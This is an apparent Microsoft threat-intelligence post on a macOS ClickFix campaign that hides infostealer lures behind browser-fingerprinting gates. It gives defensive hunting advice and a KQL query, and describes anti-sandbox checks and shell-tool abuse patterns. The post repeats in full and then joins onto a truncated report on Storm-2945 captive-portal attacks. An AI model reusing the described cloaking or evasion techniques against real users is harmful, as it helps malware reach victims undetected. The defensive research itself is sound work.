Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS), through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity.

Activity overview

Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS).

This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented, in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation.

In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise.

How ClickFix works 

ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications.

In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command.

Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page.

In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure 1b) or a page impersonating an unrelated business such as a logistics and freight-forwarding company rather than the ClickFix lure. Because this decision is made server-side on a per-request basis, a given scan or visit may receive benign or decoy content and still be interacting with malicious infrastructure, so an apparently benign or look-alike response does not mean the domain is safe. We examine how the gate evaluates each request later in this post.

Campaign overview

The key change in this campaign is not the ClickFix lure itself, but the new layer placed in front of it. Microsoft Threat Intelligence confirmed more than 250 ClickFix front-end domains during the tracking window, and many followed a repeated naming pattern using the token “file” with dictionary-style words, such as filecopperbasket, filevelvettractor, fileoceanhammer, and filemarblegarden.

Some related domains place “file” token in the middle or at the end, such as applefilevault, bananafastfile, and orangesmartfile, while others omit it completely, such as cloudsendhub and syncdatavault. Defenders should treat the naming pattern as a hunting pivot, not a complete signature. The stronger signal is the combination of dictionary-style domains, shared infrastructure behaviour, and the fingerprinting gate that controls who sees the ClickFix lure. This naming pattern is useful for clustering and hunting, but it is not the main story. The more important behaviour is that these domains now serve a browser-fingerprinting gate before showing any malicious content.

ClickFix moved from open pages to fingerprinting gates

In its earlier phase, the campaign’s domains served the lure directly. Retrieving one returned a “complete your download in Terminal” page with the malicious command present in the HTML. A scanner that does not execute JavaScript could recover the entire attack from the page source, including: the macOS paste-to-Terminal instructions, clipboard-write logic, obfuscated shell command, and encoded staging URL. Because the command was embedded in the served page, the domains were readily identifiable from passive data and static content matching.

The same infrastructure that previously exposed its ClickFix lure directly to visitors has evolved to employ a server-side fingerprinting gate. Rather than immediately presenting the malicious content, affected domains now return a minimal page containing only a lightweight JavaScript profiling routine(~2.5 KB size). To both casual visitors and automated scanners, the site may appear blank, inactive, or apparently benign.  In reality, the page serves as an evaluation layer that determines whether a visitor should be shown the ClickFix lure.

Across Microsoft Threat Intelligence’s investigation of this domain cluster, the outcomes were consistent. Simple crawlers received an empty, parked-looking page. JS-capable crawlers and sandbox environments that failed fingerprinting checks were served apparently benign decoy page, and requests presenting a genuine macOS browser fingerprint were shown the ClickFix lure.

The fingerprinting gate

The gate profiles each visitor using a combination of browser, hardware, and runtime attributes, which are submitted to the server for evaluation. The following sections break down the categories of signals collected.

Browser profiling and environment collection

The first stage builds a browser fingerprint by collecting browser and page details from six objects exposed to the page: navigator, screen, window, document, location, and console. From navigator, it captures values such as platform, for example, “MacIntel”, user agent, language, vendor, and plugins, which establish the visitor’s claimed device and browser identity.

Display values from screen and window, including screen size, color depth, window dimensions, and pixel ratio, provide consistency signals for whether that identity is consistent with a real, non‑virtualized Mac environment. Page context from document and location, including title, referrer, character set, URL, and host, helps tie the fingerprint to the delivery context. The console object is also enumerated as part of the runtime surface and later helps identify developer tools or automated log-capturing environments. These values are merged into a single fingerprint object tagged with mode: “php” and later submitted back to the server for evaluation.

Hardware validation

The gate then performs additional validation to determine whether the visitor resembles a genuine macOS user. One notable check uses WebGL, a browser graphics API normally used to render 2D and 3D content, to retrieve graphics-processing details from the visitor’s device. In this campaign, those WebGL-derived GPU signals help distinguish real Apple hardware from virtualized, emulated, software-rendered, or sandboxed environments before the server decides whether to return the ClickFix lure.

Environment and behavioral checks

Additional probes evaluate characteristics such as timezone configuration, touch-input support, and whether the page is running inside an embedded frame. These signals help identify uncommon execution contexts that may indicate automated analysis or monitoring infrastructure.

The script records three signals:

• timezoneOffset reads the system’s local timezone offset. Unusual or inconsistent values can contribute to identifying hosted infrastructure, sandbox environments, or otherwise atypical execution context.
• frame checks whether the page is running inside an iframe. While common in legitimate scenarios, embedded execution contexts can also be associated with crawlers, analysis tools, and other automated environments, making this a useful qualification signal.
• touchEvent checks for touch-input support. On desktop macOS systems, touch support is generally uncommon; unexpected touch capabilities can contribute to identifying an emulated, spoofed, or otherwise atypical environment.

Together, these checks help the gate distinguish a normal macOS desktop browser session from framed, headless, mobile, sandboxed, or automated environments before the server decides what content to return.

Anti-analysis techniques

The gate also incorporates checks designed to detect browser instrumentation, automation frameworks, and modified browser behavior. Rather than simply determining whether a visitor is a bot, these probes appear intended to identify environments commonly used by researchers, crawlers, and security-analysis platforms. The implementation details described here are intended to help defenders recognize and detect gate behavior in malicious traffic-distribution infrastructure.

Two checks stand out. The first is a toString() counter. The script creates a temporary function whose toString() method increases a counter, then writes that function to the console. In a normal browser, this counter usually remains unchanged. However, if the developer console is open, or if a headless or log-capturing tool serializes console output, the function may be converted to a string, causing the counter to increase.

The second is a prototype-tamper probe built around a normal browser capability check. The gate calls canPlayType(“video/mp4”), which normally checks whether the browser supports MP4 playback. Here, that check is repurposed as a tripwire. A genuine browser handles the codec check natively and silently, but some automated or stealth browsers fake codec support in JavaScript. If that JavaScript path calls the hooked Array.prototype.includes, the gate sets the proto:true signal and flags the environment as potentially instrumented or automated.

Fingerprint submission

Once profiling is complete, the collected attributes are packaged and silently submitted back to the same server for evaluation. This process occurs without any user interaction or visible page content.

The following is the sample fingerprint the client sends to the server (values are representative and defanged):

Server-side victim selection

With the fingerprinting logic in place, the malicious content is no longer present in the initial page shown to the visitor. Instead, the server withholds the ClickFix lure until it receives and evaluates the submitted fingerprint, then returns one of two responses:

• A bot, crawler, sandbox, virtual machine, unexpected geography, or unexpected browser receives a blank page, a benign decoy, or no content.
• A genuine Mac and browser in an expected context receive the ClickFix lure: the counterfeit “Verified Publisher / Download for macOS” page and its poisoned one-liner. The targeting is primarily environment-based: genuine macOS users in an expected browser and request context receive the ClickFix lure.

This is a Traffic Distribution System (TDS) gate. We call it a TDS because the payload is delivered by server-side, on demand, only to visitors the operator selects security crawlers, researchers, and sandboxes are served no malicious content. This gating can make automated detection and analysis more difficult because those tools may see only an apparently benign response even though the infrastructure can deliver the ClickFix lure to selected macOS visitors.

Inside the infection chain: from gated lure to AMOS

The individual techniques used by the gate are not inherently malicious or novel. Browser fingerprinting, hardware validation checks, and Traffic Distribution System (TDS)-style visitor filtering are common in anti-abuse systems and have previously appeared in exploit-kit and malvertising ecosystems. What distinguishes this activity is how these techniques are integrated into a ClickFix campaign. Rather than immediately presenting a malicious command, the actor performs server-side victim qualification before revealing the lure, reducing visibility to researchers and automated security systems while maintaining access to intended macOS targets.

Using a qualified macOS target, we analyzed the complete infection chain. The activity began on a file<word><word>[.]com domain hosting the fingerprinting gate, which returned the counterfeit Download for macOS page (Figure 1a). A non-qualifying request received little or no visible content. The page uses GitHub-themed branding to mimic a legitimate software download experience; the branding is spoofed and does not indicate any compromise of GitHub.

When the victim runs the Terminal command, the campaign retrieves and executes a remote script from a /curl/<id> URL. The chain then progresses through multiple script stages before ultimately downloading and launching Atomic Stealer (AMOS), an information stealer that harvests credentials, browser and cryptocurrency wallet data, authentication stores, and other sensitive files before exfiltrating them. We detailed AMOS delivery across multiple macOS ClickFix lures in earlier research.

Because delivery is restricted to qualified visitors, the fingerprinting gate is often a more reliable hunting target than the downstream malware. Systems that inspect page content without executing client-side JavaScript can observe the gate logic directly, while environments that fail qualification are redirected to apparently benign or no content. Because these characteristics also appear in legitimate anti-bot implementations, evaluate combinations rather than single indicators. Useful signals include self-submitting fingerprinting forms, hidden fingerprint data fields, artifacts such as the mode:”php” parameter, and domains following the observed file naming convention; correlating several of these improves confidence and reduces false positives.

Mitigation and protection guidance

Organizations can apply the following recommendations to reduce exposure to this and similar macOS ClickFix campaigns:

• Educate users. Reinforce that no legitimate download, CAPTCHA, or verification step requires pasting a command into Terminal.
• Monitor Terminal usage. Alert on Terminal or shell sessions that spawn curl, base64, gunzip, or osascript, particularly when initiated shortly after web browsing.
• Detect native-tool abuse. Flag unusual sequences of macOS utilities such as curl piped to zsh, base64 -d, and xattr -c immediately preceding chmod +x.
• Inspect outbound downloads. Monitor curl activity that retrieves encoded or compressed payloads from newly registered or low-reputation domains, including /curl/<hex-id> request paths.
• Protect credential stores. Detect unauthorized access to keychain items, browser credential databases, SSH keys, and cryptocurrency wallet data.
• Monitor data staging. Alert on the creation of archives of sensitive artifacts followed by HTTP POST exfiltration.
• Block on infrastructure, not just front-end domains. Where validated, prioritize blocking known shared back end and staging hosts (for example, malware-c2 and the /curl/<id> staging hosts) over individual disposable front-end domains.
• Hunt the generation pattern. Where feasible, alert the file<word><word> domain pattern rather than maintaining a list of individual domains.

On macOS 26.4 and later, Apple introduced a mitigation that displays a warning when a user attempts to paste a potentially malicious command into Terminal, directly addressing the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Microsoft Defender XDR detections

Microsoft Defender SmartScreen displays a warning message to Microsoft Edge users when they visit a ClickFix landing page:

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

• Incident investigation
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Advanced hunting

The following query is an illustrative starting point. Validate table/column names and adjust the time range and indicators for your environment before running.

Known-IOC network sweep (mirrors a standard IOC hunt; populate from the IOC table and refresh as domains rotate)

let lookback = 30d;
let SuspiciousDomains = 
dynamic(["lemonfilewave.com","limefilescope.com","mangocloudfile.com"]);
DeviceNetworkEvents   
| where Timestamp >ago(lookback) 
| where RemoteUrl has_any (SuspiciousDomains)

Indicators of compromise (IOC)

References

• ClickFix campaign uses fake macOS utilities lures to deliver infostealers | Microsoft Security Blog
• Think before you Click(Fix): Analyzing the ClickFix social engineering technique | Microsoft Security Blog
• macOS ClickFix Lures Deploy AppleScript Stealer & Persistent RAT | The Lens blog – netskope – June 17, 2026
• Clickfix Github Themed macOS Infostealer Deliver Campaign IOCs | GitHub gist – brkalbyrk – May 16, 2026
• Atomic macOS Stealer (AMOS): Reading the C2 Protocol from a PCAP | Pcap AI blog – June 23, 2026
• Evil evolution: ClickFix and macOS infostealers | Sophos Blog – March 11, 2026

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.

The post From open lures to cloaked gates: How a macOS ClickFix campaign learned to hide appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence observed a macOS ClickFix campaign distributing infostealers, including MacSync and Atomic Stealer (AMOS), through a large cluster of look-alike domains. The campaign evolved from broadly serving ClickFix lures to using a server-side browser-fingerprinting gate that shows the lure primarily to visitors whose environment appears consistent with a genuine macOS browser. This cloaking limits visibility for crawlers, sandboxes, and some automated analysis workflows. The blog details the domain pattern, fingerprinting checks, infection chain, detection coverage, and hunting pivots that defenders can use to identify related activity.

Activity overview

Microsoft Threat Intelligence has been tracking a macOS ClickFix operation that distributes information-stealing malware through a large family of algorithmically named domains. Over several weeks of monitoring, Microsoft observed a notable shift in tradecraft: the same infrastructure moved from openly serving the malicious command in the served page’s HTML source to concealing the lure behind a server-side fingerprinting gate that reveals the payload only to visitors the server assesses as a genuine macOS target. The chain ultimately delivers information stealers such as MacSync or Atomic Stealer (AMOS).

This activity is consistent with the broader shift in macOS ClickFix tradecraft that Microsoft Threat Intelligence previously documented, in which threat actors instruct users to run Terminal commands that retrieve remotely hosted content rather than the traditional approach of delivering a disk image for manual installation. The cluster described here is notable for two reasons: its domains are mass-produced by a recognizable name generator, and it adopted server-side cloaking on existing infrastructure, giving defenders a clear before-and-after view of the same operation.

In this blog, we describe the campaign’s domain-generation pattern, the two delivery phases we observed, the fingerprinting gate that now fronts the infrastructure, and the end-to-end infection chain. We also provide hunting guidance, mitigation recommendations, and defanged indicators of compromise.

How ClickFix works 

ClickFix is a social-engineering technique where attackers persuade users to copy and run a command in Terminal instead of downloading a traditional macOS application. The lure usually appears as a fake verification step, software update, download error, or CAPTCHA, with the command disguised as something required to complete the action. Because execution starts from a user-run Terminal command rather than a downloaded app bundle, the flow can avoid parts of the normal macOS application trust path, including quarantine handling, code-signing evaluation, and notarization checks typically applied to downloaded applications.

In this campaign, ClickFix remains the delivery mechanism, but the important change is that the lure is no longer shown to every visitor. The page first profiles the visitor through a browser-fingerprinting gate and primarily requests consistent with a genuine macOS browser environment receive the fake “Download for macOS” page and copied Terminal command.

Delivery is conditional. During analysis, the same URLs returned different content to different requests. In some case the macOS ClickFix lure, and in others an apparently benign decoy page.

In our testing, a request presenting a Windows browser received a decoy page such as a fake browser-extension or VPN landing page (Figure 1b) or a page impersonating an unrelated business such as a logistics and freight-forwarding company rather than the ClickFix lure. Because this decision is made server-side on a per-request basis, a given scan or visit may receive benign or decoy content and still be interacting with malicious infrastructure, so an apparently benign or look-alike response does not mean the domain is safe. We examine how the gate evaluates each request later in this post.

Campaign overview

The key change in this campaign is not the ClickFix lure itself, but the new layer placed in front of it. Microsoft Threat Intelligence confirmed more than 250 ClickFix front-end domains during the tracking window, and many followed a repeated naming pattern using the token “file” with dictionary-style words, such as filecopperbasket, filevelvettractor, fileoceanhammer, and filemarblegarden.

Some related domains place “file” token in the middle or at the end, such as applefilevault, bananafastfile, and orangesmartfile, while others omit it completely, such as cloudsendhub and syncdatavault. Defenders should treat the naming pattern as a hunting pivot, not a complete signature. The stronger signal is the combination of dictionary-style domains, shared infrastructure behaviour, and the fingerprinting gate that controls who sees the ClickFix lure. This naming pattern is useful for clustering and hunting, but it is not the main story. The more important behaviour is that these domains now serve a browser-fingerprinting gate before showing any malicious content.

ClickFix moved from open pages to fingerprinting gates

In its earlier phase, the campaign’s domains served the lure directly. Retrieving one returned a “complete your download in Terminal” page with the malicious command present in the HTML. A scanner that does not execute JavaScript could recover the entire attack from the page source, including: the macOS paste-to-Terminal instructions, clipboard-write logic, obfuscated shell command, and encoded staging URL. Because the command was embedded in the served page, the domains were readily identifiable from passive data and static content matching.

The same infrastructure that previously exposed its ClickFix lure directly to visitors has evolved to employ a server-side fingerprinting gate. Rather than immediately presenting the malicious content, affected domains now return a minimal page containing only a lightweight JavaScript profiling routine(~2.5 KB size). To both casual visitors and automated scanners, the site may appear blank, inactive, or apparently benign.  In reality, the page serves as an evaluation layer that determines whether a visitor should be shown the ClickFix lure.

Across Microsoft Threat Intelligence’s investigation of this domain cluster, the outcomes were consistent. Simple crawlers received an empty, parked-looking page. JS-capable crawlers and sandbox environments that failed fingerprinting checks were served apparently benign decoy page, and requests presenting a genuine macOS browser fingerprint were shown the ClickFix lure.

The fingerprinting gate

The gate profiles each visitor using a combination of browser, hardware, and runtime attributes, which are submitted to the server for evaluation. The following sections break down the categories of signals collected.

Browser profiling and environment collection

The first stage builds a browser fingerprint by collecting browser and page details from six objects exposed to the page: navigator, screen, window, document, location, and console. From navigator, it captures values such as platform, for example, “MacIntel”, user agent, language, vendor, and plugins, which establish the visitor’s claimed device and browser identity.

Display values from screen and window, including screen size, color depth, window dimensions, and pixel ratio, provide consistency signals for whether that identity is consistent with a real, non‑virtualized Mac environment. Page context from document and location, including title, referrer, character set, URL, and host, helps tie the fingerprint to the delivery context. The console object is also enumerated as part of the runtime surface and later helps identify developer tools or automated log-capturing environments. These values are merged into a single fingerprint object tagged with mode: “php” and later submitted back to the server for evaluation.

Hardware validation

The gate then performs additional validation to determine whether the visitor resembles a genuine macOS user. One notable check uses WebGL, a browser graphics API normally used to render 2D and 3D content, to retrieve graphics-processing details from the visitor’s device. In this campaign, those WebGL-derived GPU signals help distinguish real Apple hardware from virtualized, emulated, software-rendered, or sandboxed environments before the server decides whether to return the ClickFix lure.

Environment and behavioral checks

Additional probes evaluate characteristics such as timezone configuration, touch-input support, and whether the page is running inside an embedded frame. These signals help identify uncommon execution contexts that may indicate automated analysis or monitoring infrastructure.

The script records three signals:

• timezoneOffset reads the system’s local timezone offset. Unusual or inconsistent values can contribute to identifying hosted infrastructure, sandbox environments, or otherwise atypical execution context.
• frame checks whether the page is running inside an iframe. While common in legitimate scenarios, embedded execution contexts can also be associated with crawlers, analysis tools, and other automated environments, making this a useful qualification signal.
• touchEvent checks for touch-input support. On desktop macOS systems, touch support is generally uncommon; unexpected touch capabilities can contribute to identifying an emulated, spoofed, or otherwise atypical environment.

Together, these checks help the gate distinguish a normal macOS desktop browser session from framed, headless, mobile, sandboxed, or automated environments before the server decides what content to return.

Anti-analysis techniques

The gate also incorporates checks designed to detect browser instrumentation, automation frameworks, and modified browser behavior. Rather than simply determining whether a visitor is a bot, these probes appear intended to identify environments commonly used by researchers, crawlers, and security-analysis platforms. The implementation details described here are intended to help defenders recognize and detect gate behavior in malicious traffic-distribution infrastructure.

Two checks stand out. The first is a toString() counter. The script creates a temporary function whose toString() method increases a counter, then writes that function to the console. In a normal browser, this counter usually remains unchanged. However, if the developer console is open, or if a headless or log-capturing tool serializes console output, the function may be converted to a string, causing the counter to increase.

The second is a prototype-tamper probe built around a normal browser capability check. The gate calls canPlayType(“video/mp4”), which normally checks whether the browser supports MP4 playback. Here, that check is repurposed as a tripwire. A genuine browser handles the codec check natively and silently, but some automated or stealth browsers fake codec support in JavaScript. If that JavaScript path calls the hooked Array.prototype.includes, the gate sets the proto:true signal and flags the environment as potentially instrumented or automated.

Fingerprint submission

Once profiling is complete, the collected attributes are packaged and silently submitted back to the same server for evaluation. This process occurs without any user interaction or visible page content.

The following is the sample fingerprint the client sends to the server (values are representative and defanged):

Server-side victim selection

With the fingerprinting logic in place, the malicious content is no longer present in the initial page shown to the visitor. Instead, the server withholds the ClickFix lure until it receives and evaluates the submitted fingerprint, then returns one of two responses:

• A bot, crawler, sandbox, virtual machine, unexpected geography, or unexpected browser receives a blank page, a benign decoy, or no content.
• A genuine Mac and browser in an expected context receive the ClickFix lure: the counterfeit “Verified Publisher / Download for macOS” page and its poisoned one-liner. The targeting is primarily environment-based: genuine macOS users in an expected browser and request context receive the ClickFix lure.

This is a Traffic Distribution System (TDS) gate. We call it a TDS because the payload is delivered by server-side, on demand, only to visitors the operator selects security crawlers, researchers, and sandboxes are served no malicious content. This gating can make automated detection and analysis more difficult because those tools may see only an apparently benign response even though the infrastructure can deliver the ClickFix lure to selected macOS visitors.

Inside the infection chain: from gated lure to AMOS

The individual techniques used by the gate are not inherently malicious or novel. Browser fingerprinting, hardware validation checks, and Traffic Distribution System (TDS)-style visitor filtering are common in anti-abuse systems and have previously appeared in exploit-kit and malvertising ecosystems. What distinguishes this activity is how these techniques are integrated into a ClickFix campaign. Rather than immediately presenting a malicious command, the actor performs server-side victim qualification before revealing the lure, reducing visibility to researchers and automated security systems while maintaining access to intended macOS targets.

Using a qualified macOS target, we analyzed the complete infection chain. The activity began on a file<word><word>[.]com domain hosting the fingerprinting gate, which returned the counterfeit Download for macOS page (Figure 1a). A non-qualifying request received little or no visible content. The page uses GitHub-themed branding to mimic a legitimate software download experience; the branding is spoofed and does not indicate any compromise of GitHub.

When the victim runs the Terminal command, the campaign retrieves and executes a remote script from a /curl/<id> URL. The chain then progresses through multiple script stages before ultimately downloading and launching Atomic Stealer (AMOS), an information stealer that harvests credentials, browser and cryptocurrency wallet data, authentication stores, and other sensitive files before exfiltrating them. We detailed AMOS delivery across multiple macOS ClickFix lures in earlier research.

Because delivery is restricted to qualified visitors, the fingerprinting gate is often a more reliable hunting target than the downstream malware. Systems that inspect page content without executing client-side JavaScript can observe the gate logic directly, while environments that fail qualification are redirected to apparently benign or no content. Because these characteristics also appear in legitimate anti-bot implementations, evaluate combinations rather than single indicators. Useful signals include self-submitting fingerprinting forms, hidden fingerprint data fields, artifacts such as the mode:”php” parameter, and domains following the observed file naming convention; correlating several of these improves confidence and reduces false positives.

Mitigation and protection guidance

Organizations can apply the following recommendations to reduce exposure to this and similar macOS ClickFix campaigns:

• Educate users. Reinforce that no legitimate download, CAPTCHA, or verification step requires pasting a command into Terminal.
• Monitor Terminal usage. Alert on Terminal or shell sessions that spawn curl, base64, gunzip, or osascript, particularly when initiated shortly after web browsing.
• Detect native-tool abuse. Flag unusual sequences of macOS utilities such as curl piped to zsh, base64 -d, and xattr -c immediately preceding chmod +x.
• Inspect outbound downloads. Monitor curl activity that retrieves encoded or compressed payloads from newly registered or low-reputation domains, including /curl/<hex-id> request paths.
• Protect credential stores. Detect unauthorized access to keychain items, browser credential databases, SSH keys, and cryptocurrency wallet data.
• Monitor data staging. Alert on the creation of archives of sensitive artifacts followed by HTTP POST exfiltration.
• Block on infrastructure, not just front-end domains. Where validated, prioritize blocking known shared back end and staging hosts (for example, malware-c2 and the /curl/<id> staging hosts) over individual disposable front-end domains.
• Hunt the generation pattern. Where feasible, alert the file<word><word> domain pattern rather than maintaining a list of individual domains.

On macOS 26.4 and later, Apple introduced a mitigation that displays a warning when a user attempts to paste a potentially malicious command into Terminal, directly addressing the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Microsoft Defender XDR detections

Microsoft Defender SmartScreen displays a warning message to Microsoft Edge users when they visit a ClickFix landing page:

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat: 

• Incident investigation
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Advanced hunting

The following query is an illustrative starting point. Validate table/column names and adjust the time range and indicators for your environment before running.

Known-IOC network sweep (mirrors a standard IOC hunt; populate from the IOC table and refresh as domains rotate)

let lookback = 30d;
let SuspiciousDomains = 
dynamic(["lemonfilewave.com","limefilescope.com","mangocloudfile.com"]);
DeviceNetworkEvents   
| where Timestamp >ago(lookback) 
| where RemoteUrl has_any (SuspiciousDomains)

Indicators of compromise (IOC)

References

• ClickFix campaign uses fake macOS utilities lures to deliver infostealers | Microsoft Security Blog
• Think before you Click(Fix): Analyzing the ClickFix social engineering technique | Microsoft Security Blog
• macOS ClickFix Lures Deploy AppleScript Stealer & Persistent RAT | The Lens blog – netskope – June 17, 2026
• Clickfix Github Themed macOS Infostealer Deliver Campaign IOCs | GitHub gist – brkalbyrk – May 16, 2026
• Atomic macOS Stealer (AMOS): Reading the C2 Protocol from a PCAP | Pcap AI blog – June 23, 2026
• Evil evolution: ClickFix and macOS infostealers | Sophos Blog – March 11, 2026

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.

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Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

